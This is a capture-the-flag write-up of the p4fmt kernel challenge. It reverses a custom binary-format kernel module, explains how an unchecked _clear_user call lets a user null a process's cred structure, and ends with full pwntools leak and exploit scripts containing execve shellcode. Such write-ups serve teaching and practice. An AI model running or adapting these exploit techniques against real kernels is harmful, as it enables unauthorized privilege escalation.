Solved by @slashb4sh, @sherl0ck, and @night_f0x
This weekend had a couple of really good CTF’s, iCTF and Teaser CONFidence CTF, and our team had loads of fun playing them. In the Teaser CONFidence CTF, there was this really fun kernel challenge which is extremely beginner friendly. This was also the first time me and sl4shb4sh took a look into a kernel challenge, our resident kernel guy, night_f0x, being en-route to attend the Trooper’s Con :P. So please do note that this write-up is based on our limited knowledge, and if you spot an error or want to add something, do feel free to comment.
Description
==================== p4fmt ==================== Kernel challs are always a bit painful. No internet access, no SSH, no file copying. You're stuck with copy pasting base64'd (sometimes static) ELFs. But what if there was another solution? We've created a lightweight, simple binary format for your pwning pleasure. It's time to prove your skills.
So let’s get started. We are given a kernel image, the root filesystem and a shell script to boot the kernel in qemu. We extracted the files from the file-system in the following manner –
» 7z e initramfs.cpio.gz » binwalk -e initramfs.cpio » cd _initramfs.cpio.extracted/cpio-root » ls bin dev etc flag home init p4fmt.ko proc sbin sys tmp usr
So we have a kernel module `p4fmt.ko`. Let’s load it up in ida and take a look at what it does.
Reversing
Like the challenge description said, the kernel module is an implementation for loading a simple binary format “p4”. When the module is loaded, it first registers the binary format with a call to `_register_binfmt`. It then checks if the first 4 byte’s of the executable are “P4\x00” (this is the files ‘magic bytes’ like \x7fELF is for ELF files). The fourth byte represents some kind of a version and if this e is greater than 1, it returns saying “Unknown Version”.
After this comes a number which is basically a count of the number of elements in an array of structures (more in next sentence). The bytes from 7 to 15 represent an offset from where there is an array of structures, each element of which holds the following three things – an address to be mapped (the last 3 bits represent the protection), the length of the region to be mapped and an offset into the mapped region.
The next part is a bit similar to what happens when ELF’s are loaded and this article explains that quite clearly. Here’s a quick quote of the important points. A call to flush_old_exec(), clears up the state in the kernel that refers to the previous program. After this, a call to `setup_new_exec` now sets up the kernel’s internal state for the new program.
Now each element in the array of structures that we discussed earlier is visited and a call to vm_mmap
with the address (page aligned), protection, length and offset as specified in the structure. Now, here’s an interesting part – if the bitwise “and” of the address specified with 8 does not give zero, then a call to _clear_user
is made with the arguments as the address and the length specified. This function is used for nulling out userspace memory.
After the above stuff is completed the credentials for the new program are set up via a call to install_exec_creds(). Now some more initialization stuff is done that is irrelevant for this challenge and then the start_thread()function is called which sets the saved instruction pointer to the entry point of the program, and the saved stack pointer to the current top of the stack. The entry point is the address that is specified in the 8 bytes starting from the 16th byte from the start of the file.
So to summarize
- First a check to see if the file header, the first three bytes, are `”P4\x00″`, else exits. The fourth byte also has to be less than or equal to 1.
- Then `flush_old_exec()` is called, which basically clears up state in the kernel which refers to any previous program, followed by a call to `setup_new_exec()` to setup up kernel’s internal state for the new program.
- The fourth byte is checked again, if 0, `vm_mmap()` is called to allocate virtual memory for the process. It is called as, `vm_mmap(*(obj + 8), *(obj + 0x50), 0x1000LL, *(obj + 0x50) & 7LL, 2LL, 0LL)`
The is definition of `vm_mmap()`,
<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>unsigned long vm_mmap(struct file *file, unsigned long addr, unsigned long len, unsigned long prot, unsigned long flag, unsigned long offset) { &nbsp;&nbsp;&nbsp;if (unlikely(offset + PAGE_ALIGN(len) &lt; offset)) &nbsp;&nbsp; return -EINVAL; &nbsp;&nbsp;&nbsp;if (unlikely(offset_in_page(offset))) &nbsp;&nbsp; return -EINVAL; &nbsp; &nbsp;&nbsp;&nbsp;return vm_mmap_pgoff(file, addr, len, prot, flag, offset &gt;&gt; PAGE_SHIFT); <span id="mce_SELREST_end" style="overflow:hidden;line-height:0;"></span>}
In this case the address mapped, length, and prot, is in our control as it is referenced from the file data.
Memory Leaks
The module uses printk()
to print the arguments of the `vm_mmap` and the _clear_user
functions. Now, remember the offset that is there in the file to identify the start of the structure’s array? Well, it turns out that there is no check to ensure that the offset lies within the bounds of the address where the contents of the executable are present. So we can give an out of bounds offset that will leak the data present at the offset.
Vulnerability
The _clear_user
does not verify whether the address passed as an argument is indeed a userspace address. In other words, this function does not have an access_ok
check to verify that the address being nulled out is not a kernel address. Thus we can null out an arbitrary kernel address.
We stumbled upon this after almost 12 hrs of staring at the code and that too by randomly setting the argument to the function as a kernel address in gdb. Now we called up night_f0x who was in the immigration check at that time o_0. He told us to check for the `access_ok` check. He also told us about overwriting the creds structure with null to land a root shell. Now we spent some time reading up old CTF write-up on overwriting the creds structure.
Exploit
When any binary is executed, the contents of the file is passed as an `linux_binprm` structure to load\_p4\_binary. This structure is used to hold the arguments that are used when loading binaries. The actual content of the file start at the offset `obj+0x48`. The structure is defined as,
struct linux_binprm { char buf[BINPRM_BUF_SIZE]; #ifdef CONFIG_MMU struct vm_area_struct *vma; unsigned long vma_pages; #else # define MAX_ARG_PAGES 32 struct page *page[MAX_ARG_PAGES]; #endif struct mm_struct *mm; unsigned long p; /* current top of mem */ unsigned long argmin; /* rlimit marker for copy_strings() */ unsigned int /* * True after the bprm_set_creds hook has been called once * (multiple calls can be made via prepare_binprm() for * binfmt_script/misc). */ called_set_creds:1, /* * True if most recent call to the commoncaps bprm_set_creds * hook (due to multiple prepare_binprm() calls from the * binfmt_script/misc handlers) resulted in elevated * privileges. */ cap_elevated:1, /* * Set by bprm_set_creds hook to indicate a privilege-gaining * exec has happened. Used to sanitize execution environment * and to set AT_SECURE auxv for glibc. */ secureexec:1; #ifdef __alpha__ unsigned int taso:1; #endif unsigned int recursion_depth; /* only for search_binary_handler() */ struct file * file; struct cred *cred; /* new credentials */ int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */ unsigned int per_clear; /* bits to clear in current->personality */ int argc, envc; const char * filename; /* Name of binary as seen by procps */ const char * interp; /* Name of the binary really executed. Most of the time same as filename, but could be different for binfmt_{misc,script} */ unsigned interp_flags; unsigned interp_data; unsigned long loader, exec; struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */ } __randomize_layout;
Notice that the cred structure is present here, so we thought that the initial problem of getting a leak of the creds structure is solved here. As it turns out, since creds structure is different for different processes, the address varies each time. We’ll come back to this later.
Provided that we know the address of the creds structure, we can use _clear_user
to null out the appropriate fields in the creds structure. Let’s take a quick look at the structure –
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ } __randomize_layout;
We definitely have to overwrite the uid, gid to null to get our process running as root. But hit and trial we saw that overwriting 80 bytes with null, starting from the uid field was enough to let our process run with root privileges.
To spawn a shell, we wrote a shellcode and gave the size of the array that holds the structure as 2 –
- The first element had the address to be mapped as
0x400000
and the protections as Read|Write|Execute. - The second element had the address as the pointer to the creds structure (we added 0x18 to it so as to start the null overwrite from the uid field and also so that the address with bitwise anded with 8 does not give 0 and hence triggers the path of the _clear_user function)
The entry point was given as `0x400048` because the first 48 bytes consisted of the header+the array of structures and our code started only from the offset 0x48.
Now before calling the start_thread function to execute our code, the module calls the `install_exec_creds()` to set the appropriate privileges.
void install_exec_creds(struct linux_binprm *bprm) { security_bprm_committing_creds(bprm); commit_creds(bprm-cred); bprm-cred = NULL; ... }
Thus install_exec_creds
call’s commit_creds
. Now we already overwrote the id’s in the creds structure to NULL. Thus after the commit creds is called, our process is given the root privilege. Now, all we have to do is spawn a shell to read the flag, and our shellcode does just that.
We thought that we were done here when we observed that the address of the creds structure kept changing for different processes. So after we ran our process that would give the leaks and tried to run the process for the exploit, the address of the creds structure change. But here we noticed another thing – if we ran the process for leaking various times the addresses repeated. Basically, it was cycling through a set of addresses.
So we wrote a python script to get all the addresses and then create different processes, each of which cleared out a one leaked creds structure. Now we have no clue why it was cycling through the addresses, but based solely on observations, we ran each process a fixed no. of time’s and stopped the moment we got a root shell.
Here is the script for getting the leak
from pwn import * exploit = "P4\x00\x01\x02\x00\x00\x00" exploit += p64(0x90) exploit += p64(0xffffffff89262008) exploit += p64(0x2000) exploit += p64(0x00) exploit += "bbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" print exploit.encode("base64").replace("\n","")
Here is the final exploit
from pwn import * r=remote("p4fmt.zajebistyc.tf",30002) # r = process("./run.sh") def send(data): r.sendlineafter("/ $ ",data) # Send in the base64'ed leaker process, make it exeutable and run it. send('''(echo -n "UDQAAQEAAACQAAAAAAAAAAggJon/////ACAAAAAAAAAAAAAAAAAAAGJiYmJiYmJiYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ==" | base64 -d) > /tmp/asd; chmod +x /tmp/asd; cd /tmp; ./asd''') leak=[] for i in range (5): r.recvuntil(", length=") leak1=r.recvuntil(", ").strip(", ") if leak1 in leak: break leak.append(leak1) r.sendlineafter("tmp $",'./asd') log.info(leak) def exp(lk): exploit = "P4\x00\x01\x02\x00\x00\x00" exploit += p64(0x18) exploit += p64(0x400048) exploit += p64(0x400007) exploit += p64(0x1000) exploit += p64(0x00) exploit += p64(int(lk,16)+0x18) exploit += p64(80) exploit += p64(0x00) exploit += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" return exploit for i in range(len(leak)): r.sendlineafter("/tmp $ ",'(echo -n "'+exp(leak[i]).encode('base64').replace('\n','')+'" | base64 -d) > /tmp/eee'+str(i)+'; chmod +x /tmp/eee'+str(i)) r.interactive() r.recvuntil("tmp $") j=0 while (1): for i in range(8): print "running "+str(j%5) r.sendline("./eee"+str(j%5)) ret = r.recvuntil("tmp ",timeout=2) if ret=='': r.interactive() ret=r.recv(1) print ret if "#" in ret: r.interactive() r.sendline("exit") r.recvuntil("tmp $") j+=1
Leave a Reply